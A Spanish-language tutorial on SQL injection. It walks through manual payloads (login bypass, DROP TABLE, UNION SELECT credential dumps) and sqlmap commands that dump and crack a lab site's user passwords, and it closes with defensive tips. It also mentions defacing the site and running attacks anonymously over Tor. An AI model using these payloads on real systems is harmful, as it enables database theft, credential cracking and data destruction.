Ataque de Inyección SQL Manual y Automático

> Las vulnerabilidades de inyección SQL representan brechas de seguridad que posibilitan la ejecución de comandos en lenguaje SQL para interactuar con la base...

# VULNERABILIDAD de Inyección SQL

Las vulnerabilidades de inyección SQL representan brechas de seguridad que posibilitan la ejecución de comandos en lenguaje SQL para interactuar con la base de datos de un sitio web. La mayoría de las aplicaciones web se basan en bases de datos en su parte posterior para organizar los diversos elementos que la constituyen, tales como:

  • Nombres de usuarios: Supongamos que un sitio web tiene un formulario de inicio de sesión con un campo de usuario y contraseña. La inyección SQL podría ser algo así:
$ Usuario: ' OR '1'='1
Contraseña: (dejar en blanco o cualquier cosa)

Esta inyección manipularía la consulta SQL para que la condición siempre sea verdadera, lo que permite al atacante acceder a la cuenta sin necesidad de una contraseña válida.

  • Contraseñas: En el caso de la contraseña, si la base de datos no está bien protegida y se almacenan las contraseñas de forma insegura, un ataque de inyección podría intentar algo como:
$ Usuario: (cualquier usuario)
Contraseña: ' OR ''='

Si las contraseñas están almacenadas en texto plano o de alguna manera vulnerable, esta inyección podría permitir el acceso a cualquier cuenta.

  • Precios: Supongamos que hay un campo para actualizar precios de productos. Una inyección SQL en este campo podría ser:
$ Nuevo Precio: 99.99; DROP TABLE Productos;

Esta inyección, si no está protegida, puede ejecutar múltiples comandos SQL. En este caso, además de cambiar el precio a 99.99, también eliminaría la tabla completa de productos.

  • Productos: Para el campo de productos, si hay una consulta de búsqueda, un ejemplo de inyección SQL podría ser:
$ Campo de búsqueda: ' OR 1=1--

Esto modificaría la consulta para que devuelva todos los productos, ignorando cualquier filtro que el sitio web hubiera implementado.

Estos son solo algunos ejemplos de los valores que conforman las bases de datos, y a través de una inyección SQL, un atacante puede leer, modificar, añadir o eliminar estos elementos. Un fallo en SQL suele surgir debido a la incorrecta filtración de variables en un programa que maneja o genera sentencias SQL. Esto ocurre especialmente cuando se solicitan entradas de usuario de cualquier naturaleza sin una validación adecuada, como puede ser el caso de un nombre y contraseña. Sin embargo, en lugar de proporcionar esta información, un atacante envía una declaración SQL intrusiva que se ejecuta en la base de datos.

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

Antes de buscar vulnerabilidades de inyección SQL, es fundamental asegurarse de tener autorización del propietario del sitio web para llevar a cabo pruebas de pentesting. Es crucial realizar estas pruebas únicamente en entornos legales. El primer paso para identificar una vulnerabilidad SQL es determinar la tecnología que utiliza la página web para saber si emplea bases de datos que utilizan SQL, como Oracle, MySQL o SQL Server. Herramientas como Wappalyzer (una extensión de navegador) o programas como WhatWeb pueden proporcionar información sobre la tecnología empleada en un sitio web.

# PROCESO MANUAL

Una inyección SQL se puede aprovechar de dos maneras distintas. En primer lugar, de manera manual, donde el atacante introduce personalmente comandos maliciosos en los campos de entrada de la aplicación web. Esto implica que el atacante conoce la estructura de la base de datos y manipula las consultas para realizar acciones no autorizadas.

En segundo lugar, existe la inyección automatizada, que se realiza mediante herramientas especializadas como sqlmap. Estas herramientas están diseñadas para simplificar el proceso: analizan automáticamente la página web en busca de vulnerabilidades de inyección SQL, determinan si la página es susceptible y, en caso afirmativo, ejecutan ataques. La automatización significa que el usuario solo necesita especificar las opciones deseadas para optimizar el escaneo, ya que la herramienta se encarga del proceso de manera autónoma. Este enfoque facilita la identificación y explotación de vulnerabilidades sin la necesidad de intervención manual extensa.

Detectar página vulnerable a SQLi

Para descubrir si una página es vulnerable a la inyección SQL, es esencial examinar sus parámetros. Pongamos el siguiente escenario:

Imaginemos que encontramos una página web común que utiliza numerosos parámetros a través del método GET (donde la página envía datos a través de la URL). Entonces, visualicemos algo como esto:

Supongamos que la página tiene la siguiente estructura de URL:

$ http://www.ejemplo.com/algo.php?id=1

En esta URL, "id=1" son parámetros que la página utiliza para recibir información. Estos parámetros pueden ser susceptibles a inyecciones SQL si no se manejan adecuadamente. Un atacante podría intentar modificar estos parámetros al inyectar código SQL malicioso para manipular la consulta de la base de datos y potencialmente obtener o modificar datos de manera no autorizada. La detección de vulnerabilidades en estos parámetros es crucial para garantizar la seguridad de la aplicación web.

Para verificar si una página es vulnerable a la inyección SQL, una técnica simple es añadir una comilla simple (') al final de cada parámetro y observar si esto provoca un error en la base de datos. Aquí está el proceso:

Imaginemos que tenemos una URL como esta:

$ http://www.ejemplo.com/algo.php?id=1

Para probar la vulnerabilidad, añadiríamos una comilla simple al final del primer parámetro, así:

$ http://www.ejemplo.com/algo.php?id=1'

Si al hacer esto obtenemos un mensaje de error o una respuesta inusual, podría ser indicativo de una vulnerabilidad de inyección SQL. Este método simple permite a los probadores de seguridad evaluar si la aplicación web es propensa a la inyección SQL al observar cómo maneja las comillas simples en sus parámetros.

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

Ahora que hemos identificado un parámetro vulnerable, el siguiente paso es determinar el número de columnas utilizadas por la página. Para realizar esta tarea, usamos comandos como order by y group by para probar diferentes números de columnas. Aquí hay un ejemplo práctico:

$ 1' ORDER BY 1 --+   
1' ORDER BY 2 --+   
1' ORDER BY 3 --+   
1' ORDER BY 4 --+
1' ORDER BY 5 --+   
etc...

1' GROUP BY 1 --+   
1' GROUP BY 2 --+   
1' GROUP BY 3 --+   
1' GROUP BY 4 --+
1' GROUP BY 5 --+
etc...

Hagamos una analogía para comprender el proceso de identificar la cantidad de columnas de una página web que son vulnerables a la inyección SQL. Imagina que estás tratando de abrir una serie de cajas y necesitas descubrir cuántas hay dentro. Tienes una llave que puede abrir cualquier caja, pero cada vez que intentas abrir una, la caja te dice cuántas cajas hay en total.

En términos de páginas web que son vulnerables a la inyección SQL, es como si estuviéramos probando diferentes “corchetes” (números) para ver cuántas “cajas” (columnas) hay en la página.

$ http://www.ejemplo.com/algo.php?id=1' order by 1 --+ 
http://www.ejemplo.com/algo.php?id=1' order by 2 --+ 
http://www.ejemplo.com/algo.php?id=1' order by 3 --+ 
http://www.ejemplo.com/algo.php?id=1' order by 4 --+
http://www.ejemplo.com/algo.php?id=1' order by 10 --+
http://www.ejemplo.com/algo.php?id=1' order by 19 --+ 
http://www.ejemplo.com/algo.php?id=1' order by 20 --+ # Error

En este caso, cuando intentamos abrir la "caja" número 20, la página nos muestra un mensaje de error indicando que la columna es desconocida. Esto nos dice que la página está utilizando 19 columnas, ya que el intento de acceder a la columna 20 generó un error.

UNION SELECT

Cuando hablamos de "union select" en el contexto de bases de datos y seguridad web, nos referimos a una técnica utilizada por los atacantes para obtener información de una base de datos a través de una página web vulnerable.

Imagina que tienes una página web que utiliza parámetros en la URL, como:

$ http://www.ejemplo.com/info.php?id=1&id2=1&id3=1'

Los hackers pueden aprovechar esto y modificar la URL de manera específica, como se muestra a continuación:

$ http://www.ejemplo.com/info.php?id=1&id2=1&id3=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 --+

Aquí, se prueba cuántas columnas hay en la base de datos al enumerar números del 1 al 20. Cuando la página procesa esto, si hay una vulnerabilidad, mostrará esos números en algún lugar de la página. Si la página es vulnerable en las columnas 2, 5 y 20, verías esos números mostrados en algún lugar de la página después de realizar esta manipulación en la URL. Este proceso es parte de una práctica conocida como inyección SQL, donde los atacantes intentan manipular la ejecución de comandos SQL en una base de datos mediante entradas inseguras del usuario.

EXTRAER INFORMACIÓN

Imaginemos que ya hemos descubierto el número de columnas y hemos identificado cuál de esas columnas es vulnerable a la inyección de SQL. Ahora, el siguiente paso es extraer e inyectar información directamente en esa columna específica.

En el ejemplo anterior, supongamos que la columna 5 es la que podemos manipular. Entonces, al construir la URL manipulada, la parte relevante sería algo así:

$ http://www.ejemplo.com/info.php?id=1&id2=1&id3=1' union select 1,2,3,4,'vulnerable a SQLi',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 --+

Lo que estamos haciendo aquí es decirle a la página web que queremos que, a través de la columna número 5, muestre la frase 'vulnerable a SQLi'. Al inyectar 'vulnerable a SQL', estamos básicamente introduciendo un texto directamente en esa columna específica que hemos identificado como vulnerable.

En términos más simples, es como si estuviéramos dando instrucciones a la página para que muestre la frase ''vulnerable a SQLi' en el lugar donde normalmente se mostraría el contenido correspondiente a esa columna. Esta acción es posible porque hemos explotado una debilidad en la forma en que la aplicación web maneja las consultas a su base de datos, permitiéndonos manipular y mostrar información que normalmente no deberíamos ver.

La función llamada database() nos permite obtener el nombre de la base de datos con la que estamos interactuando. Si tomamos la URL manipulada que ya proporcione:

$ http://www.ejemplo.com/info.php?id=1&id2=1&id3=1' union select 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 --+

Lo que estamos haciendo aquí es decirle a la página web que queremos, a través de la columna correspondiente, mostrar el resultado de la función database(). En otras palabras, le estamos pidiendo a la página que nos muestre el nombre de la base de datos que está siendo utilizada.

Cuando ejecutamos esto y la página es vulnerable a la inyección de SQL, obtendremos como resultado algo como "name_DB". Ahora, esto es valioso porque hemos extraído el nombre de la base de datos con la que estamos trabajando. Es como si estuviéramos espiando y obteniendo información directamente desde la estructura interna de la base de datos, gracias a la vulnerabilidad que hemos encontrado.

A continuación, nuestro objetivo es extraer las tablas de la base de datos. Hay dos métodos para hacer esto, y uno de ellos es:

$ http://www.ejemplo.com/info.php?id=1&id2=1&id3=1' union select 1,2,3,4,group_concat(table_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.tables --+

Lo que estamos haciendo aquí es utilizar la función group_concat(table_name) para concatenar los nombres de todas las tablas en la base de datos y mostrar ese resultado a través de la página web. Le estamos pidiendo a la página que nos muestre los nombres de todas las tablas en la base de datos.

Cuando ejecutamos esta manipulación en la URL y la página es vulnerable a la inyección de SQL, obtenemos como resultado una lista de las principales tablas de la base de datos "information_schema". Esto nos brinda una visión más detallada de la estructura interna de la base de datos, permitiéndonos identificar y acceder a las tablas específicas que nos interesan.

Para obtener las tablas específicas de la base de datos que mencionamos anteriormente, "name_DB", seguimos estos pasos:

$ http://www.ejemplo.com/info.php?id=1&id2=1&id3=1' union select 1,2,3,4,group_concat(table_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.tables where table_schema=database() --+

Estamos utilizando nuevamente la función group_concat(table_name) para concatenar los nombres de todas las tablas en la base de datos específica (en este caso, "name_DB"). Además, hemos añadido una condición con where table_schema=database() para asegurarnos de que solo obtendremos las tablas de la base de datos actual.

Después de ejecutar esto en una página web vulnerable, obtenemos como resultado las siguientes tablas: "users", "table", y "other_table". Lo que nos importa aquí es la tabla "user". Este proceso nos permite identificar y seleccionar las tablas específicas que queremos explorar o manipular dentro de la base de datos.

En ese escenario estamos avanzando para obtener información sobre las columnas específicas dentro de la tabla "usuarios" en la base de datos llamada "name_DB". Para lograr esto, seguimos estos pasos:

$ http://www.ejemplo.com/info.php?id=1&id2=1&id3=1' union select 1,2,3,4,group_concat(column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.columns where table_name="users" --+

Utilizamos la función group_concat(column_name) para concatenar los nombres de todas las columnas dentro de la tabla "usuarios". Además, añadimos una condición con where table_name="usuarios" para asegurarnos de que solo estamos obteniendo las columnas de la tabla específica que nos interesa.

Después de ejecutar esto en una página web vulnerable, supongamos que obtenemos como resultado las siguientes columnas: "id", "name", "email", "phone" y "passwd". Estas son las columnas específicas de la tabla "usuarios". Generalmente, estas columnas contienen información como identificación, nombre de usuario, dirección de correo electrónico, número de teléfono y contraseña.

Lo siguiente que haremos es mostrar el contenido de las columnas "id", "name", "phone" y "passwd".

$ http://www.ejemplo.com/info.php?id=1&id2=1&id3=1' union select 1,2,3,4,group_concat(id,name,email,phone,passwd),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20, from users --+

Utilizamos group_concat(id,name,email,phone,passwd) para concatenar el contenido de las columnas "id", "name", "email" y "passwd" en la tabla "usuarios".

Después de ejecutar esto en una página web vulnerable, imaginemos que obtenemos como resultado algo como "0josejose123@correo.com1234567890passwordSecure". Sin embargo, para que sea más legible, utilizamos la codificación hexadecimal y el símbolo :. Por ejemplo, el símbolo : en hexadecimal es 0x3a, entonces ajustamos la consulta de la siguiente manera:

$ http://www.ejemplo.com/info.php?id=1&id2=1&id3=1' union select 1,2,3,4,group_concat(id,0x3a,name,0x3a,email,0x3a,passwd),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 from users --+

El resultado ahora se presenta de forma más comprensible, por ejemplo:

$ 0:jose:jose123@correo.com:1234567890:passwordSecure

Cada campo está separado por el símbolo :, facilitando la lectura y comprensión de la información extraída de las columnas de la base de datos.

# PROCESO AUTOMATIZADO | SQLMap

Para el siguiente escenario vamos a utilizar la herramienta de SQLMap, está nos ayudará automatiza la detección y explotación de vulnerabilidades de inyección SQL en aplicaciones web. Esta herramienta viene preinstalada en la distribución de Kali Linux.

Instalar en Debian:

$ sudo apt-get install sqlmap

El siguiente comando nos lista las opciones de ayuda de la herramienta:

$ sqlmap -h

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

Para hacer uso correcto de la herramienta, se deben de respetar el orden para cada parámetro. Por ejemplo, si el parámetro -u/--url siempre va al final, es decir, delante de las opciones.

$ sqlmap --opcion --url "https://mipaginaweb.com"

Entre las opciones que podemos resaltar importantes:

PARÁMETRO DESCRIPCIÓN
-C nombre Permite seleccionar una columna específica, facilitando la focalización en datos particulares dentro de una tabla.
-T nombre Permite ingresar a la tabla seleccionada, brindando la capacidad de explorar y manipular datos dentro de esa tabla.
-D nombre Permite ingresar a la base de datos seleccionada, brindando acceso para realizar consultas y acciones específicas dentro de esa base de datos.
--column Extrae el número y los nombres de las columnas dentro de una tabla, proporcionando información detallada sobre la estructura de la tabla.
--batch Ejecuta SQLMap en modo batch, lo que significa que realiza automáticamente las elecciones predeterminadas sin requerir interacción del usuario.
--dbs Muestra el número de bases de datos presentes y proporciona los nombres de cada una, facilitando la enumeración de bases de datos.
--dump Permite extraer el contenido de la base de datos, revelando información almacenada en las tablas seleccionadas.
--dump-all Extrae todo el contenido disponible en la base de datos, proporcionando una copia completa de la información almacenada.
--random-agent Cambia el User-Agent utilizado en las consultas para proporcionar anonimato y evitar la detección por patrones de tráfico.
--proxy=proxy Permite la conexión a la página objetivo a través de un proxy, aumentando la privacidad y dificultando la identificación del atacante.
-p parametro Determina el parámetro en la URL de la aplicación web para analizar, identificando el punto de entrada para posibles inyecciones SQL.4
--level=1-5 Modifica el nivel de agresividad del escaneo de inyección SQL, siendo 1 el valor predeterminado y 5 el más intrusivo.
--risk=1-3 Ajusta el nivel de agresividad del escaneo y afecta el ruido generado, con 1 como valor predeterminado.
--current-user Extrae el nombre de usuario con el que se interactúa actualmente en la base de datos, proporcionando información sobre la sesión actual.
--current-db Obtiene el nombre de la base de datos actual, revelando detalles sobre la estructura del entorno de la base de datos.

El siguiente comando muestra un ejemplo sencillo para listar todas las bases de datos presentes. Recomiendo colocar dos comillas simples al inicio y final de la URL para evitar errores de caracteres en el parámetro.

$ sqlmap --dbs --batch --url 'http://192.168.25.131/cat.php?id=1' 

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

En la imagen anterior podemos observar que la web tiene una vulnerabilidad de SQLi. Al explotarla con la herramienta nos lista dos bases de datos, una se llama information_schema y la otra photoblog. La primera base de datos (information_schema) proporciona información sobre la propia base datos: metadatos sobre tablas, columnas, restricciones y demás.

Tablas y Columnas:

TABLES (TABLAS): Información sobre las tablas en la base de datos. COLUMNS (COLUMNAS): Información sobre las columnas en las tablas.

Restricciones:

KEY_COLUMN_USAGE (USO_DE_COLUMNAS_CLAVE): Información sobre las columnas incluidas en restricciones de clave. REFERENTIAL_CONSTRAINTS (RESTRICCIONES_REFERENCIALES): Información sobre restricciones de clave externa. CHECK_CONSTRAINTS (RESTRICCIONES_DE_VERIFICACIÓN): Información sobre restricciones de verificación.

Luego lo que haremos será extraer las tablas de la base de datos llamada photoblog:

$ sqlmap -D photoblog --tables --batch --url 'http://192.168.25.131/cat.php?id=1' 

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

Como resultado nos lista tres tipos de tablas: categories, pictures, users. El que nos importa siempre va hacer los que se llamen "users", "passwords", "email", "phone", "id", etc. Extraemos las columas de los usuarios con:

$ sqlmap -D photoblog -T users --columns --batch --url 'http://192.168.25.131/cat.php?id=1' 

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

Disponemos de tres columnas destinadas a la extracción de su contenido (id,login,password), cada una de las cuales alberga información confidencial proveniente de la base de datos. Para ello, utilizamos el siguiente parámetro para extraer dicho contenido (recuerda usar coma si deseas mostrar más de una columna):

$ sqlmap -D photoblog -T users -C id,login,password --dump --batch --url 'http://192.168.25.131/cat.php?id=1' 

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

Las bases de datos suelen estar cifradas con un tipo de hash que transforma los datos de manera irreversible. Este proceso asegura la integridad y seguridad de la información almacenada, incluso pequeños cambios en los datos originales generan un hash completamente diferente. Aquí la herramienta tratará de identificar el tipo de hash (MD5 en este caso) y romper el hash (cracking) mediante ataque de diccionario:

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

Si copiamos el hash y lo pegamos en una página de cracking online (como crackstation.net), verificamos que efectivamente el resultado es el mismo.

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

Con las credenciales de administradores ya podemos logearnos en el servidor, he incluso, hacer un defacing completo.

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar
Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar
Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

Ahora les enseñare a utilizar esta herramienta bajo Tor para que ustedes como atacantes puedan auditar una base de datos de manera anónima. Lo primero es encender el servicio de Tor:

$ sudo service tor start && sudo service tor status

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

Por último ejecutamos el siguiente comando:

$ sqlmap --tor --tor-type=SOCKS5 --tor-port 9050 --check-tor  --dbs --batch --url 'http://192.168.25.131/cat.php?id=1'

# Escáner de SQLi | ScanQLi

La herramienta ScanQLi es un simple escáner de inyección SQL capaz de detectar parámetros vulnerables en la URL. NO las explota, solo detecta.

Instalar en Debian:

$ > git clone https://github.com/bambish/ScanQLi

> cd ScanQLi

> pip3 install -r requeriments.txt

> python3 scanqli.py --help
PARÁMETRO DESCRIPCIÓN
-u / --url Especificar la URL
-r / --recursive El escaneo seguirá cada enlace hipertexto (href) presente en las página web analizada
-o / --output Escribe y guarda los registros en un fichero de texto

Aquí un ejemplo práctico:

$ python3 scanqli.py -u http://192.168.25.131/ -r -o logs.txt

Ilustración del procedimiento
Ilustración del procedimiento 🔍 click para ampliar

# TIPS DE SEGURIDAD FRENTE A ESTE ATAQUE

Las contramedidas para prevenir ataques de inyección SQL son técnicas, algunas de ellas son:

Mediante un Firewall de Aplicaciones Web (WAF): El WAF se caracteriza por detectar y bloquear este tipo de ataques mediante la inspección del tráfico HTTP en busca de patrones maliciosos.

Reducir Privilegios de Usuario en DB: Si bien no deja de ser vulnerables, el impacto que genere en la base de datos será mucho menor.

Usar Listas Blancas: Estas listas permiten ciertos valores o patrones de entrada que permite las consultas de SQL en la aplicación.

Validar y Limpiar la entrada del usuario: La entrada del usuario debe coincidir con el tipo de dato esperado, para comprobar se utiliza funciones de validación como una cadena alfanpumerica (si es un número), una dirección de correo electrónico. Establecer la longitud de la entrada es una buena medida para evitar desbordamiento y que no exceda el tamaño permitido.

Escape de Caracteres Especiales: En lenguajes como PHP, se suele utilizar la función "mysqli_real_escape_string" para escapar los caracteres especiales. Habitualmente son caracteres como ' " \n \r que son reservados por parte de MySQL.

Advertencia: Todo el contenido de este artículo es estrictamente educativo. No nos hacemos responsables del mal uso de esta herramienta o información. Practica únicamente en entornos controlados y con autorización.
× Imagen ampliada